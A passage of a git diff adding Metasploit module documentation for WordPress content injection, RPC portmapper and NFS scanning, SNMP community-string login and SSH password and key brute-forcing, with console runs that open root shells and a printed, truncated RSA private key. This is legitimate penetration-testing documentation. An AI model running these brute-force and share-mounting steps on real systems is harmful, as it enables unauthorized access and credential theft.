] Ensure the install dir is not writable by the web user + 2. [ ] Add the following to `wp_config.php` (after install) + ``` + define( 'WP_AUTO_UPDATE_CORE', false ); + define( 'AUTOMATIC_UPDATER_DISABLED', true ); + ``` +- [ ] Install Wordpress +- [ ] Start `msfconsole` +- [ ] `use auxiliary/scanner/http/wordpress_content_injection` +- [ ] Set `rhost`, `rport` and `TARGETURI` +- [ ] Set `ACTION` to either `LIST` or `UPDATE` +- [ ] Set `POST_ID` and `POST_TITLE`, `POST_CONTENT`, and/or `POST_PASSWORD` +- [ ] Run the module + +**Sample run:** + +This is just the `LIST` action... + +``` +msf auxiliary(wordpress_content_injection) > run + +[*] REST API found in HTML document +Posts at https://[redacted]:443/ (REST API: /wp-json/wp/v2) +============================================================ + +ID Title URL Password +-- ----- --- -------- +1 Hello world! https://[redacted]/2016/10/hello-world/ No +87 Hello world! https://[redacted]/2016/08/hello-world-2/ No + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(wordpress_content_injection) > +``` diff --git a/documentation/modules/auxiliary/scanner/misc/sunrpc_portmapper.md b/documentation/modules/auxiliary/scanner/misc/sunrpc_portmapper.md new file mode 100644 index 0000000000..70fb72cf27 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/sunrpc_portmapper.md @@ -0,0 +1,136 @@ +## Vulnerable Application + +RPC Portmapper, or more recently renamed to rpcbind, is fairly common and this scanner searches for its existance. The idea behind rpcbind was to create a +'directory' that could be asked where a service is running (port). Having this single port/service be queryable meant, the services being managed by rpcbind +could actually be running on any port or protocol, and rpdbind would be in charge of letting clients know where they were. This is more or less an outdated +model/service, and NFS is arguably the most popular service still utilizing rpcbind. The following was done on Kali linux: + + 1. Install rpcbind: `apt-get install rpcbind` + 2. Now now have `rpcbind`, but this gives us minimal services running on it. You may want to install additional: + * NIS: `apt-get install nis` + * Start the service: `ypserv` + * NFS: `apt-get install nfs-kernel-server` + 3. Just to be safe, restart rpcbind: `service rpcbind restart` + +## Verification Steps + + 1. Install and configure rpcbind + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/misc/sunrpc_portmapper` + 4. Do: `run` + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/misc/sunrpc_portmapper + msf auxiliary(sunrpc_portmapper) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(sunrpc_portmapper) > run + + [+] 127.0.0.1:111 - SunRPC Programs for 127.0.0.1 + ============================= + + Name Number Version Port Protocol + ---- ------ ------- ---- -------- + mountd 100005 1 60153 udp + mountd 100005 1 39027 tcp + mountd 100005 2 47725 udp + mountd 100005 2 53055 tcp + mountd 100005 3 49015 udp + mountd 100005 3 47033 tcp + nfs 100003 3 2049 tcp + nfs 100003 4 2049 tcp + nfs 100003 3 2049 udp + nfs 100003 4 2049 udp + nfs_acl 100227 3 2049 tcp + nfs_acl 100227 3 2049 udp + nlockmgr 100021 1 40970 udp + nlockmgr 100021 3 40970 udp + nlockmgr 100021 4 40970 udp + nlockmgr 100021 1 42279 tcp + nlockmgr 100021 3 42279 tcp + nlockmgr 100021 4 42279 tcp + rpcbind 100000 4 111 tcp + rpcbind 100000 3 111 tcp + rpcbind 100000 2 111 tcp + rpcbind 100000 4 111 udp + rpcbind 100000 3 111 udp + rpcbind 100000 2 111 udp + ypserv 100004 2 707 udp + ypserv 100004 1 707 udp + ypserv 100004 2 708 tcp + ypserv 100004 1 708 tcp + + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + +## Confirming + +Since rpc port mapper has been around since 1995, there are many tools which can also query it. +The following are other industry tools which can also be used. + +### [nmap](https://nmap.org/nsedoc/scripts/rpcinfo.html) + +``` +nmap -p 111 --script=rpcinfo 127.0.0.1 + +Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-13 22:57 EST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.000043s latency). +PORT STATE SERVICE +111/tcp open rpcbind +| rpcinfo: +| program version port/proto service +| 100000 2,3,4 111/tcp rpcbind +| 100000 2,3,4 111/udp rpcbind +| 100003 3,4 2049/tcp nfs +| 100003 3,4 2049/udp nfs +| 100004 1,2 707/udp ypserv +| 100004 1,2 708/tcp ypserv +| 100005 1,2,3 47033/tcp mountd +| 100005 1,2,3 49015/udp mountd +| 100021 1,3,4 40970/udp nlockmgr +| 100021 1,3,4 42279/tcp nlockmgr +| 100227 3 2049/tcp nfs_acl +|_ 100227 3 2049/udp nfs_acl +``` + +### rpcinfo + +This is the standard package included with rpcbind to query the rpc interface. + +``` +rpcinfo -p 127.0.0.1 + program vers proto port service + 100000 4 tcp 111 portmapper + 100000 3 tcp 111 portmapper + 100000 2 tcp 111 portmapper + 100000 4 udp 111 portmapper + 100000 3 udp 111 portmapper + 100000 2 udp 111 portmapper + 100005 1 udp 60153 mountd + 100005 1 tcp 39027 mountd + 100005 2 udp 47725 mountd + 100005 2 tcp 53055 mountd + 100005 3 udp 49015 mountd + 100005 3 tcp 47033 mountd + 100003 3 tcp 2049 nfs + 100003 4 tcp 2049 nfs + 100227 3 tcp 2049 + 100003 3 udp 2049 nfs + 100003 4 udp 2049 nfs + 100227 3 udp 2049 + 100021 1 udp 40970 nlockmgr + 100021 3 udp 40970 nlockmgr + 100021 4 udp 40970 nlockmgr + 100021 1 tcp 42279 nlockmgr + 100021 3 tcp 42279 nlockmgr + 100021 4 tcp 42279 nlockmgr + 100004 2 udp 707 ypserv + 100004 1 udp 707 ypserv + 100004 2 tcp 708 ypserv + 100004 1 tcp 708 ypserv +``` diff --git a/documentation/modules/auxiliary/scanner/nfs/nfsmount.md b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md new file mode 100644 index 0000000000..4716c9b2e3 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md @@ -0,0 +1,113 @@ +## Vulnerable Application + +NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system. +The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The +following was done on Kali linux: + + 1. `apt-get install nfs-kernel-server` + 2. Create 2 folders to share: + ``` + mkdir /tmp/open_share + mkdir /tmp/closed_share + ``` + 3. Add them to the list of shares: + ``` + echo "/tmp/closed_share 10.1.2.3(ro,sync,no_root_squash)" >> /etc/exports + echo "/tmp/open_share *(rw,sync,no_root_squash)" >> /etc/exports + ``` + 4. Restart the service: `service nfs-kernel-server restart` + +In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode. + +## Verification Steps + + 1. Install and configure NFS + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/nfs/nfsmount` + 4. Do: `run` + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/nfs/nfsmount + msf auxiliary(nfsmount) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(nfsmount) > run + + [+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/open_share [*] + [+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/closed_share [10.1.2.3] + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + + Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/): + + ``` + [*] Scanned 24 of 240 hosts (10% complete) + [+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0] + [*] Scanned 48 of 240 hosts (20% complete) + [+] 10.10.xx.xx NFS Export: /DataVolume/Public [*] + [+] 10.10.xx.xx NFS Export: /DataVolume/Download [*] + [+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*] + [*] Scanned 72 of 240 hosts (30% complete) + [+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0] + [*] Scanned 96 of 240 hosts (40% complete) + [+] 10.10.xx.xx NFS Export: /common [] + ``` + +## Confirming + +Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to verify this configuration issue. +The following are other industry tools which can also be used. + +### [nmap](https://nmap.org/nsedoc/scripts/nfs-showmount.html) + +``` +nmap -p 111 --script=nfs-showmount 127.0.0.1 + +Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 19:41 EST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.000037s latency). +PORT STATE SERVICE +111/tcp open rpcbind +| nfs-showmount: +| /tmp/open_share * +|_ /tmp/closed_share 10.1.2.3 + +Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds +``` + +### [showmount](https://packages.debian.org/sid/amd64/nfs-common/filelist) + +showmount is a part of the `nfs-common` package for debian. + +``` +showmount -e 127.0.0.1 +Export list for 127.0.0.1: +/tmp/open_share * +/tmp/closed_share 10.1.2.3 +``` + +## Exploitation + +Exploiting this mis-configuration is trivial, however exploitation doesn't necessarily give access (command execution) to the system. +If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS), or it is open (*), mounting is trivial. +The following instructions were written for Kali linux. + +1. Create a new directory to mount the remote volume to: `mkdir /mnt/remote` +2. Use `mount` to link the remote volume to the local folder: `mount -t nfs 127.0.0.1:/tmp/open_share /mnt/remote` + +The mount and its writability can now be tested: + +1. Write a file: `echo "hello" > /mnt/remote/test` +2. The remote end now has the file locally: +``` +cat /tmp/open_share/test +hello +``` + +1. To unmount: `umount /mnt/remote` + +At this point, its time to hope for a file of value. Maybe code with hardcoded credentials, a `passwords.txt`, or an `id_rsa`. diff --git a/documentation/modules/auxiliary/scanner/snmp/snmp_login.md b/documentation/modules/auxiliary/scanner/snmp/snmp_login.md new file mode 100644 index 0000000000..3190351ed9 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/snmp/snmp_login.md @@ -0,0 +1,94 @@ +## Vulnerable Application + + Installation instructions for SNMP server can be found for every operating system. + The [Ubuntu 14.04](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-an-snmp-daemon-and-client-on-ubuntu-14-04) instructions can be used as an example for installing and configuring NFS. The + following was done on Kali linux: + + 1. `sudo apt-get install snmpd` + 2. Set SNMP to listen on non-localhost: `nano /etc/snmp/snmpd.conf` + ``` + # Listen for connections from the local system only + #agentAddress udp:127.0.0.1:161 + # Listen for connections on all interfaces (both IPv4 *and* IPv6) + agentAddress udp:161,udp6:[::1]:161 + ``` + 3. Restart the service: `service snmpd restart` + +### SNMP Versions + +SNMP has 3 main versions. +* **1**, **2c**: both use simple password protection (string), and are often defaulted to `public` (read only), and `private` (read/write). Version 2 is backwards compatible with version 1. This is a plaintext protocol and is vulenrable to being intercepted. +* **3**: has several security levels and is significantly more complex, but also not covered in this module. + +## Verification Steps + + 1. Install and configure SNMP + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/snmp/snmp_login` + 4. Do: `run` + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/snmp/snmp_login + msf auxiliary(snmp_login) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(snmp_login) > run + + [!] No active DB -- Credential data will not be saved! + [+] 127.0.0.1:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Linux hostname 4.9.0-kali1-amd64 #1 SMP Debian 4.9.6-3kali2 (2017-01-30) x86_64 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + + Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/): + + ``` + [+] 10.4.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Cisco IOS Software, C1130 Software (C1130-K9W7-M), Version 12.4(10b)JA, RELEASE SOFTWARE (fc2) + Technical Support: http://www.cisco.com/techsupport + Copyright (c) 1986-2007 by Cisco Systems, Inc. + Compiled Wed 24-Oct-07 15:17 by prod_rel_team + [*] Scanned 12 of 58 hosts (20% complete) + [*] Scanned 18 of 58 hosts (31% complete) + [+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006 + [+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006 + [*] Scanned 24 of 58 hosts (41% complete) + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [*] Scanned 29 of 58 hosts (50% complete) + [*] Scanned 35 of 58 hosts (60% complete) + [*] Scanned 41 of 58 hosts (70% complete) + [*] Scanned 47 of 58 hosts (81% complete) + [+] 10.25.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006 + ``` + +## Confirming + +Since SNMP has been around for quite a while, there are many tools which can also be used to verify this configuration issue. +The following are other industry tools which can also be used. + +### [nmap](https://nmap.org/nsedoc/scripts/snmp-info.html) + +``` +nmap -p 161 -sU --script=snmp-info 127.0.0.1 + +Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 23:00 EST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.00017s latency). +PORT STATE SERVICE +161/udp open snmp +| snmp-info: +| enterprise: net-snmp +| engineIDFormat: unknown +| engineIDData: 54ad55664725a15800000000 +| snmpEngineBoots: 2 +|_ snmpEngineTime: 31m30s + +Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds +``` diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md new file mode 100644 index 0000000000..1a1be86f02 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md @@ -0,0 +1,199 @@ +## SSH Service + + SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. + This module attempts to login to SSH with username and password combinations. For public/private SSH keys, please use `auxiliary/scanner/ssh/ssh_login_pubkey`. + It should be noted that some modern Operating Systems have default configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key login. + +## Verification Steps + + 1. Install SSH and start it. + 2. Start msfconsole + 3. Do: ` use auxiliary/scanner/ssh/ssh_login` + 4. Do: `set rhosts` + 5. Do: set usernames and passwords via any of the available options + 5. Do: `run` + 6. You will hopefully see something similar to, followed by a session: + + ````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '``` + +## Options + + **BLANK_PASSWORD** + + Boolean value on if an additional login attempt should be attempted with an empty password for every user. + + **PASSWORD** + + Password to try for each user. + + **PASS_FILE** + + A file containing a password on every line. Kali linux example: `/usr/share/wordlists/metasploit/password.lst` + + **RHOSTS** + + Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2` + + **STOP_ON_SUCCESS** + + If a valid login is found on a host, immediately stop attempting additional logins on that host. + + **USERNAME** + + Username to try for each password. + + **USERPASS_FILE** + + A file containing a username and password, separated by a space, on every line. An example line would be `username password` + + **USER_AS_PASS** + + Boolean value on if an additional login attempt should be attempted with the password as the username. + + **USER_FILE** + + A file containing a username on every line. + + **VERBOSE** + + Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed attempt will look similar to the following: + + ``` + [-] SSH - Failed: 'msfadmin:virtual' + ``` + +## Option Combinations + +It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password could be set in `PASSWORD`, be part of either `PASS_FILE` or `USERPASS_FILE`, be guessed via `USER_AS_PASS` or `BLANK_PASSWORDS`. +This module makes a combination of all of the above when attempting logins. So if a password is set in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOTH of these. + +## Scenarios + + Example run against: + * Ubuntu 14.04 Server with root login permitted: 192.168.2.156 + * Ubuntu 16.04 Server: 192.168.2.137 + * Metasploitable: 192.168.2.46 + * Metasploitable 2: 192.168.2.35 + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > cat /root/ssh_passwords.lst +[*] exec: cat /root/ssh_passwords.lst + +msfadmin +badpassword +root +ubuntu + +msf auxiliary(ssh_login) > set pass_file /root/ssh_passwords.lst +pass_file => /root/ssh_passwords.lst +msf auxiliary(ssh_login) > cat /root/ssh_un.lst +[*] exec: cat /root/ssh_un.lst + +msfadmin +badpassword +root +ubuntu + +msf auxiliary(ssh_login) > set user_file /root/ssh_un.lst +user_file => /root/ssh_un.lst +msf auxiliary(ssh_login) > cat /root/ssh_hosts.lst +[*] exec: cat /root/ssh_hosts.lst + +192.168.2.156 +192.168.2.137 +192.168.2.35 +192.168.2.46 +msf auxiliary(ssh_login) > set rhosts file://root/ssh_hosts.lst +rhosts => file://root/ssh_hosts.lst +msf auxiliary(ssh_login) > set verbose false +verbose => false +msf auxiliary(ssh_login) > set threads 4 +threads => 4 +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[*] SSH - Starting bruteforce +[*] SSH - Starting bruteforce +[*] SSH - Starting bruteforce +[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' +[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' +[*] Command shell session 5 opened (192.168.2.117:44415 -> 192.168.2.46:22) at 2017-02-22 20:26:13 -0500 +[*] Command shell session 6 opened (192.168.2.117:36107 -> 192.168.2.35:22) at 2017-02-22 20:26:13 -0500 +[+] SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 7 opened (192.168.2.117:32829 -> 192.168.2.156:22) at 2017-02-22 20:26:35 -0500 +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 8 opened (192.168.2.117:42205 -> 192.168.2.156:22) at 2017-02-22 20:26:42 -0500 +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 9 opened (192.168.2.117:37027 -> 192.168.2.137:22) at 2017-02-22 20:26:44 -0500 +[*] Scanned 3 of 4 hosts (75% complete) +[*] Scanned 4 of 4 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 5 shell /linux SSH msfadmin:msfadmin (192.168.2.46:22) 192.168.2.117:44415 -> 192.168.2.46:22 (192.168.2.46) + 6 shell /linux SSH msfadmin:msfadmin (192.168.2.35:22) 192.168.2.117:36107 -> 192.168.2.35:22 (192.168.2.35) + 7 shell /linux SSH root:ubuntu (192.168.2.156:22) 192.168.2.117:32829 -> 192.168.2.156:22 (192.168.2.156) + 8 shell /linux SSH ubuntu:ubuntu (192.168.2.156:22) 192.168.2.117:42205 -> 192.168.2.156:22 (192.168.2.156) + 9 shell /linux SSH ubuntu:ubuntu (192.168.2.137:22) 192.168.2.117:37027 -> 192.168.2.137:22 (192.168.2.137) +``` + + Example run against: + * Windows 10 w/ Linux Subsystem + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set rhosts 192.168.2.140 +rhosts => 192.168.2.140 +msf auxiliary(ssh_login) > set username winuser +username => winuser +msf auxiliary(ssh_login) > set password "badpassword" +password => badpassword +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'winuser:badpassword' '' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (192.168.2.117:42227 -> 192.168.2.140:22) at 2017-02-22 20:40:12 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 shell / SSH winuser:badpassword (192.168.2.140:22) 192.168.2.117:42227 -> 192.168.2.140:22 (192.168.2.140) + +``` + + Example run against: + * Windows 10 w/ Bitvise SSH Server (WinSSHD) version 7.26-r2 and a virtual account created + + It is important to note here that the module gives back a **Success**, but then errors when trying to identify the remote system. + This should be enough info to manually exploit via a regular SSH command. + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set rhosts 192.168.2.140 +rhosts => 192.168.2.140 +msf auxiliary(ssh_login) > set username virtual +username => virtual +msf auxiliary(ssh_login) > set password virtual +password => virtual +msf auxiliary(ssh_login) > exploit + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'virtual:virtual' 'id: Command not found. help ?: Command not found. ' +[!] No active DB -- Credential data will not be saved! +[*] 192.168.2.140 - Command shell session 4 closed. Reason: Died from EOFError +[*] Command shell session 4 opened (192.168.2.117:36169 -> 192.168.2.140:22) at 2017-02-22 21:20:24 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md new file mode 100644 index 0000000000..7804533e78 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login_pubkey.md @@ -0,0 +1,141 @@ +## SSH Service + + SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. + This module attempts to login to SSH with username and private key combinations. For username and password logins, please use `auxiliary/scanner/ssh/ssh_login`. + It should be noted that some modern Operating Systems have default configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key login. + +### Key Generation + + On most modern *nix Operating System, the `ssh-keygen` command can be utilized to create an SSH key. Metasploit expects the key to be unencrypted, so no password should be set during `ssh-keygen`. + After following the prompts to create the SSH key pair, the `pub` key needs to be added to the authorized_keys list. To do so simply run: `cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys` + +## Verification Steps + + 1. Install SSH and start it. + 2. Create an SSH keypair and add the public key to the `authorized_keys` file + 3. Start msfconsole + 4. Do: ` use auxiliary/scanner/ssh/ssh_login_pubkey` + 5. Do: `set rhosts` + 6. Do: set usernames with one of the available options + 7. Do: `set KEY_PATH ` to either a file or path + 7. Do: `run` + 8. You will hopefully see something similar to the following: + + ``` + [+] SSH - Success: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- + ``` + +## Options + + **KEY_PATH** + + A string to the private key to attempt, or a folder containing private keys to attempt. Any file name starting with a period (`.`) or ending in `.pub` will be ignored. + An SSH key is typically kept in a user's home directory under `.ssh/id_rsa`. The file contents, when not encrypted with a password will start with `-----BEGIN RSA PRIVATE KEY-----` + + **RHOSTS** + + Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2` + + **STOP_ON_SUCCESS** + + If a valid login is found on a host, immediately stop attempting additional logins on that host. + + **USERNAME** + + Username to try for each password. + + **USER_FILE** + + A file containing a username on every line. + + **VERBOSE** + + Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `KEY_PATH`s are used. A failed attempt will look similar to the following: `[-] SSH - Failed` + +## Option Combinations + +It is important to note that usernames can be entered in multiple combinations. For instance, a username could be set in `USERNAME`, and be part of `USER_FILE`. +This module makes a combination of all of the above when attempting logins. So if a username is set in `USERNAME`, and a `USER_FILE` is listed, usernames will be generated from BOTH of these. + +## Scenarios + + Example run with a FOLDER set for `KEY_PATH` against: + * Ubuntu 14.04 Server + + While the two SSH key are nearly identical, one character has been modified in one of the keys to prevent a successful login. + +``` +msf > use auxiliary/scanner/ssh/ssh_login_pubkey +msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.156 +rhosts => 192.168.2.156 +msf auxiliary(ssh_login_pubkey) > set username ubuntu +username => ubuntu +msf auxiliary(ssh_login_pubkey) > set key_path /root/sshkeys/ +key_path => /root/sshkeys/ +msf auxiliary(ssh_login_pubkey) > run + +[*] 192.168.2.156:22 SSH - Testing Cleartext Keys +[*] SSH - Testing 2 keys from /root/sshkeys +[-] SSH - Failed: 'ubuntu:-----BEGIN RSA PRIVATE KEY----- +MIIEpQIBAAKCAQEAtwJrqowPyjWONHUCMqU/Fh3yRn42+X9hahtTv/6plYpb4WrA +NxDaYIrBGAO//u2SkGcIhnAdzYVmovWahKEwcxZ2XJo/nj4gjh1CbI1xVCFeE/oX +oWpIN+4q8JQ0Iq1dm+c+WPQIEzlVpMRaKeuMxdGPNMTYWxolSEIMPPYmyWXG6gz8 +fYYZDo8+w8G78w7oUV6hSIwCDzw09A5yGyt51ZETeSZiZ24bHlBQSyk7yFq/eo58 +xhlc79jpZrSdX8kx8HrCZKND7O6E4YSktfSHOvd81QUCSyoi5Y+9RXsLjUEba0+Y +aAz8mZPLdxbRu75eeD/mZTv5gALewXeb65IkPQIDAQABAoIBACvi5LbNR6wSE7v4 +o0JJ5ksDe2n0MnK6XT34t6i/BSPbPhVcaCPMYtHr9Eox/ATCK/d8/cpfcIYsi2Rg +yWEs1lWC+XdTdhYYh+4MjjVB5f9q0QixXKFUv2TKNHnk0GvQbzZHyefC/Xy+rw8I +FyceWW/GxTS+T7PpHS+qxwyHat24ph7Xz/cE/0UyrVu+NAzFXaHq60M2/RRh3uXE +1vqiZVlapczO/DxsnPwQrE2EOm0lzrQVmZbX5BYK1yiCd5eTgLhOb+ms2p/8pb2I +jrK5FzLnUZu0H0ZHtihOVkx4l8NZqB36jinaRs0wWN7It4/C5+NkyoMvuceIn1Wx +tstYD3ECgYEA7sOb0CdGxXw0IVrJF+3C8m1UG3CfQfzms+rJb9w3OJVl2BTlYdPr +JgXI/YoV9FQPvXmTWrRP9e6x0kuSVHO1ejMpyLHGmMcJDZhpVKMROOosIWfROxwk +bkPU2jdUXIrHgu8NnmnyytjUnJgeerQZLhCtjKmBKCZisS4WPBdun3MCgYEAxDh1 +fjFJttWhgeg6pcvvmDUWO1W0lJ9ZjjQll1UmbPmKDGwwsjPZEkZfLkvI77st81AT +eW/p7tMKE3fCkXkn2KWMQ6ZGN5yflwvjJOMAVZz8ir8Cu1npa6f6HIrxpHSKethY +dG4ssCpQctfoRfN4wg6fOHBOpGd3BH1GdOwR4Y8CgYEAq3h7e//ZCZbrcVDbvn2Y +VbZCgvpcxW002d0yEU2bst1IKOjI23rwE3xwHfV/UtrT+wVG2AtKqZpkxlxTmKcI +m9wGlAVoVOwMCmF8s7XwdmlmjA8c6lCJsU6xnI3D3jokklnP9AauwRL7jgKJUSHq +O3TqzmwlP4phslEg0sMZRRUCgYEAwkS3prG7rqYBmjFG52FqnIJquWIYQFEoBE+C +rDqkqZ3B3Jy89aG5l4tOrvJfRWJHky7DqSZxMH+G6VFXtFmEZs04er3DpUmPA6fE 